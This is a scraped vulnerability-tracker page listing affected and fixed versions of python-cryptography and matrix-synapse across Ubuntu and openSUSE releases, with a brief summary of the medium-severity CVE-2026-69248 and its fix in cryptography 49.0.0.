2.1.4-1ubuntu1.4+esm6
python-cryptography
Ubuntu:26.04:LTS
From an advisory covering 4 CVEs
before 46.0.5-1ubuntu2.2, plus listed versions
43.0.0-1ubuntu146.0.1-1ubuntu246.0.5-1ubuntu146.0.5-1ubuntu2
46.0.5-1ubuntu2.2
matrix-synapse
openSUSE:Tumbleweed
before 1.163.0-1.1
1.163.0-1.1
python-cryptography
openSUSE:Leap 16.0
From an advisory covering 3 CVEs
before 44.0.3-160000.5.1
44.0.3-160000.5.1

History

History
RecordedChangedSources
affected, facts
affected, aliasesOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-69248 is a medium vulnerability (CVSS 6.9) in Pyca Cryptography, published August 3, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 15th percentile. Fixed in cryptography 49.0.0.

References

Show 145 moreShow less
This page doesn't list everything

Left out here: 106 versions. The JSON record has them.

MoveEnter Open